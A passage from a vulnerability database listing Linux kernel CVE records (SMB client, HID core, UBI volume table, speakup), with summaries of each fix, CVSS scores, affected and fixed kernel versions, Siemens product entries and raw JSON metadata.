        "dateUpdated": "2026-05-11T21:07:35.937Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f277e479eea3d1aa18bc712abe1d2bf3dece2e30"
        },
        {
          "url": "https://git.kernel.org/stable/c/f618aeb6cad2307e48a641379db610abcf593edf"
        },
        {
          "url": "https://git.kernel.org/stable/c/24e8e4523d3071bc5143b0db9127d511489f7b3b"
        },
        {
          "url": "https://git.kernel.org/stable/c/9e5d99a4cf2e23c716b44862975548415fae5391"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9b0b4b29877cb4dc5d0842b59b5ccbacddb85bd"
        },
        {
          "url": "https://git.kernel.org/stable/c/554736b583f529ee159aa95af9a0cbc12b5ffc96"
        },
        {
          "url": "https://git.kernel.org/stable/c/860ca5e50f73c2a1cef7eefc9d39d04e275417f7"
        }
      ],
      "title": "smb: client: Add check for next_buffer in receive_encrypted_standard()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21844",
    "datePublished": "2025-03-12T09:42:00.435Z",
    "dateReserved": "2024-12-29T08:45:45.778Z",
    "dateUpdated": "2026-05-12T12:04:02.128Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57986 (GCVE-0-2024-57986)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:07 – Updated: 2026-05-12 12:01

Title

HID: core: Fix assumption that Resolution Multipliers must be in Logical Collections

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: core: Fix assumption that Resolution Multipliers must be in Logical Collections A report in 2019 by the syzbot fuzzer was found to be connected to two errors in the HID core associated with Resolution Multipliers. One of the errors was fixed by commit ea427a222d8b ("HID: core: Fix deadloop in hid_apply_multiplier."), but the other has not been fixed. This error arises because hid_apply_multipler() assumes that every Resolution Multiplier control is contained in a Logical Collection, i.e., there's no way the routine can ever set multiplier_collection to NULL. This is in spite of the fact that the function starts with a big comment saying: * "The Resolution Multiplier control must be contained in the same * Logical Collection as the control(s) to which it is to be applied. ... * If no Logical Collection is * defined, the Resolution Multiplier is associated with all * controls in the report." * HID Usage Table, v1.12, Section 4.3.1, p30 * * Thus, search from the current collection upwards until we find a * logical collection... The comment and the code overlook the possibility that none of the collections found may be a Logical Collection. The fix is to set the multiplier_collection pointer to NULL if the collection found isn't a Logical Collection.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/3a002e4029230d9a6…
https://git.kernel.org/stable/c/05dd7d10675b540b8…
https://git.kernel.org/stable/c/a32ea3f982b389ea4…
https://git.kernel.org/stable/c/bebf542e8d7c44a18…
https://git.kernel.org/stable/c/ed3d3883476423f33…
https://git.kernel.org/stable/c/ebaeca33d32c8bdb7…
https://git.kernel.org/stable/c/a5498f1f864ea26f4…
https://git.kernel.org/stable/c/64f2657b579343cf9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < 3a002e4029230d9a6be89f869b2328b258612f5c (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < 05dd7d10675b540b8b7b31035c0a8abb6e6f3b88 (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < a32ea3f982b389ea43a41ce77b6fb70d74006d9b (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < bebf542e8d7c44a18a95f306b1b5dc160c823506 (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < ed3d3883476423f337aac0f22c521819b3f1e970 (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < ebaeca33d32c8bdb705a8c88267737a456f354b1 (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < a5498f1f864ea26f4c613c77f54409c776a95a90 (git) Affected: 5a4abb36f312cf83206b1b7d1308ba47cba0b3cc , < 64f2657b579343cf923aa933f08074e6258eb07b (git)
Linux	Linux	Affected: 5.0 Unaffected: 0 , < 5.0 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:04.819Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:47.655Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3a002e4029230d9a6be89f869b2328b258612f5c",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "05dd7d10675b540b8b7b31035c0a8abb6e6f3b88",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "a32ea3f982b389ea43a41ce77b6fb70d74006d9b",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "bebf542e8d7c44a18a95f306b1b5dc160c823506",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "ed3d3883476423f337aac0f22c521819b3f1e970",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "ebaeca33d32c8bdb705a8c88267737a456f354b1",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "a5498f1f864ea26f4c613c77f54409c776a95a90",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            },
            {
              "lessThan": "64f2657b579343cf923aa933f08074e6258eb07b",
              "status": "affected",
              "version": "5a4abb36f312cf83206b1b7d1308ba47cba0b3cc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: core: Fix assumption that Resolution Multipliers must be in Logical Collections\n\nA report in 2019 by the syzbot fuzzer was found to be connected to two\nerrors in the HID core associated with Resolution Multipliers.  One of\nthe errors was fixed by commit ea427a222d8b (\"HID: core: Fix deadloop\nin hid_apply_multiplier.\"), but the other has not been fixed.\n\nThis error arises because hid_apply_multipler() assumes that every\nResolution Multiplier control is contained in a Logical Collection,\ni.e., there\u0027s no way the routine can ever set multiplier_collection to\nNULL.  This is in spite of the fact that the function starts with a\nbig comment saying:\n\n\t * \"The Resolution Multiplier control must be contained in the same\n\t * Logical Collection as the control(s) to which it is to be applied.\n\t   ...\n\t *  If no Logical Collection is\n\t * defined, the Resolution Multiplier is associated with all\n\t * controls in the report.\"\n\t * HID Usage Table, v1.12, Section 4.3.1, p30\n\t *\n\t * Thus, search from the current collection upwards until we find a\n\t * logical collection...\n\nThe comment and the code overlook the possibility that none of the\ncollections found may be a Logical Collection.\n\nThe fix is to set the multiplier_collection pointer to NULL if the\ncollection found isn\u0027t a Logical Collection."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:35.578Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3a002e4029230d9a6be89f869b2328b258612f5c"
        },
        {
          "url": "https://git.kernel.org/stable/c/05dd7d10675b540b8b7b31035c0a8abb6e6f3b88"
        },
        {
          "url": "https://git.kernel.org/stable/c/a32ea3f982b389ea43a41ce77b6fb70d74006d9b"
        },
        {
          "url": "https://git.kernel.org/stable/c/bebf542e8d7c44a18a95f306b1b5dc160c823506"
        },
        {
          "url": "https://git.kernel.org/stable/c/ed3d3883476423f337aac0f22c521819b3f1e970"
        },
        {
          "url": "https://git.kernel.org/stable/c/ebaeca33d32c8bdb705a8c88267737a456f354b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/a5498f1f864ea26f4c613c77f54409c776a95a90"
        },
        {
          "url": "https://git.kernel.org/stable/c/64f2657b579343cf923aa933f08074e6258eb07b"
        }
      ],
      "title": "HID: core: Fix assumption that Resolution Multipliers must be in Logical Collections",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57986",
    "datePublished": "2025-02-27T02:07:10.621Z",
    "dateReserved": "2025-02-27T02:04:28.913Z",
    "dateUpdated": "2026-05-12T12:01:47.655Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-25739 (GCVE-0-2024-25739)

Vulnerability from cvelistv5 – Published: 2024-02-12 00:00 – Updated: 2026-05-12 11:49

Summary

create_empty_lvol in drivers/mtd/ubi/vtbl.c in the Linux kernel through 6.7.4 can attempt to allocate zero bytes, and crash, because of a missing check for ubi->leb_size.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

Assigner

mitre

References

6 references

URL	Tags
https://www.spinics.net/lists/kernel/msg5074816.html
https://groups.google.com/g/syzkaller/c/Xl97YcQA4hg
https://git.kernel.org/cgit/linux/kernel/git/torv…
https://lists.debian.org/debian-lts-announce/2024…	mailing-list
https://lists.debian.org/debian-lts-announce/2024…	mailing-list
https://web.git.kernel.org/pub/scm/linux/kernel/g…

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T23:52:04.926Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.spinics.net/lists/kernel/msg5074816.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://groups.google.com/g/syzkaller/c/Xl97YcQA4hg"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=68a24aba7c593eafa8fd00f2f76407b9b32b47a9"
          },
          {
            "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-25739",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-07T19:28:47.579694Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-754",
                "description": "CWE-754 Improper Check for Unusual or Exceptional Conditions",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-14T18:24:22.750Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:18.066Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "create_empty_lvol in drivers/mtd/ubi/vtbl.c in the Linux kernel through 6.7.4 can attempt to allocate zero bytes, and crash, because of a missing check for ubi-\u003eleb_size."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-07T17:58:41.904Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://www.spinics.net/lists/kernel/msg5074816.html"
        },
        {
          "url": "https://groups.google.com/g/syzkaller/c/Xl97YcQA4hg"
        },
        {
          "url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=68a24aba7c593eafa8fd00f2f76407b9b32b47a9"
        },
        {
          "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        },
        {
          "name": "[debian-lts-announce] 20240627 [SECURITY] [DLA 3840-1] linux security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
        },
        {
          "url": "https://web.git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/mtd/ubi/vtbl.c?h=v6.6.24\u0026id=d1b505c988b7"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-25739",
    "datePublished": "2024-02-12T00:00:00.000Z",
    "dateReserved": "2024-02-12T00:00:00.000Z",
    "dateUpdated": "2026-05-12T11:49:18.066Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38587 (GCVE-0-2024-38587)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:37 – Updated: 2026-05-12 11:54

Title

speakup: Fix sizeof() vs ARRAY_SIZE() bug

Summary

In the Linux kernel, the following vulnerability has been resolved: speakup: Fix sizeof() vs ARRAY_SIZE() bug The "buf" pointer is an array of u16 values. This code should be using ARRAY_SIZE() (which is 256) instead of sizeof() (which is 512), otherwise it can the still got out of bounds.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/42f0a3f67158ed6b2…
https://git.kernel.org/stable/c/cd7f3978c2ec741ae…
https://git.kernel.org/stable/c/07ef95cc7a5797311…
https://git.kernel.org/stable/c/504178fb7d9f6cdb0…
https://git.kernel.org/stable/c/3726f75a1ccc16cd3…
https://git.kernel.org/stable/c/c6e1650cf5df1bd66…
https://git.kernel.org/stable/c/eb1ea64328d4cc7d7…
https://git.kernel.org/stable/c/d52c04474feac8e30…
https://git.kernel.org/stable/c/008ab3c53bc4f0b2f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 756c5cb7c09e537b87b5d3acafcb101b2ccf394f , < 42f0a3f67158ed6b2908d2b9ffbf7e96d23fd358 (git) Affected: 8f6b62125befe1675446923e4171eac2c012959c , < cd7f3978c2ec741aedd1d860b2adb227314cf996 (git) Affected: 6401038acfa24cba9c28cce410b7505efadd0222 , < 07ef95cc7a579731198c93beed281e3a79a0e586 (git) Affected: 0d130158db29f5e0b3893154908cf618896450a8 , < 504178fb7d9f6cdb0496d5491efb05f45597e535 (git) Affected: 89af25bd4b4bf6a71295f07e07a8ae7dc03c6595 , < 3726f75a1ccc16cd335c0ccfad1d92ee08ecba5e (git) Affected: 8defb1d22ba0395b81feb963b96e252b097ba76f , < c6e1650cf5df1bd6638eeee231a683ef30c7d4eb (git) Affected: 0efb15c14c493263cb3a5f65f5ddfd4603d19a76 , < eb1ea64328d4cc7d7a912c563f8523d5259716ef (git) Affected: c8d2f34ea96ea3bce6ba2535f867f0d4ee3b22e1 , < d52c04474feac8e305814a5228e622afe481b2ef (git) Affected: c8d2f34ea96ea3bce6ba2535f867f0d4ee3b22e1 , < 008ab3c53bc4f0b2f20013c8f6c204a3203d0b8b (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 5.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-38587",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-20T14:49:14.118323Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-04T20:21:08.889Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:38.044Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/42f0a3f67158ed6b2908d2b9ffbf7e96d23fd358"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cd7f3978c2ec741aedd1d860b2adb227314cf996"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07ef95cc7a579731198c93beed281e3a79a0e586"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/504178fb7d9f6cdb0496d5491efb05f45597e535"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3726f75a1ccc16cd335c0ccfad1d92ee08ecba5e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6e1650cf5df1bd6638eeee231a683ef30c7d4eb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb1ea64328d4cc7d7a912c563f8523d5259716ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d52c04474feac8e305814a5228e622afe481b2ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/008ab3c53bc4f0b2f20013c8f6c204a3203d0b8b"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:45.936Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/accessibility/speakup/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "42f0a3f67158ed6b2908d2b9ffbf7e96d23fd358",
              "status": "affected",
              "version": "756c5cb7c09e537b87b5d3acafcb101b2ccf394f",
              "versionType": "git"
            },
            {
              "lessThan": "cd7f3978c2ec741aedd1d860b2adb227314cf996",
              "status": "affected",
              "version": "8f6b62125befe1675446923e4171eac2c012959c",
              "versionType": "git"
            },
            {
              "lessThan": "07ef95cc7a579731198c93beed281e3a79a0e586",
              "status": "affected",
              "version": "6401038acfa24cba9c28cce410b7505efadd0222",
              "versionType": "git"
            },
            {
              "lessThan": "504178fb7d9f6cdb0496d5491efb05f45597e535",
              "status": "affected",
              "version": "0d130158db29f5e0b3893154908cf618896450a8",
              "versionType": "git"
            },
            {
              "lessThan": "3726f75a1ccc16cd335c0ccfad1d92ee08ecba5e",
              "status": "affected",
              "version": "89af25bd4b4bf6a71295f07e07a8ae7dc03c6595",
              "versionType": "git"
            },
            {
              "lessThan": "c6e1650cf5df1bd6638eeee231a683ef30c7d4eb",
              "status": "affected",
              "version": "8defb1d22ba0395b81feb963b96e252b097ba76f",
              "versionType": "git"
            },
            {
              "lessThan": "eb1ea64328d4cc7d7a912c563f8523d5259716ef",
              "status": "affected",
              "version": "0efb15c14c493263cb3a5f65f5ddfd4603d19a76",
              "versionType": "git"
            },
            {
              "lessThan": "d52c04474feac8e305814a5228e622afe481b2ef",
              "status": "affected",
              "version": "c8d2f34ea96ea3bce6ba2535f867f0d4ee3b22e1",
              "versionType": "git"
            },
            {
              "lessThan": "008ab3c53bc4f0b2f20013c8f6c204a3203d0b8b",
              "status": "affected",
              "version": "c8d2f34ea96ea3bce6ba2535f867f0d4ee3b22e1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/accessibility/speakup/main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
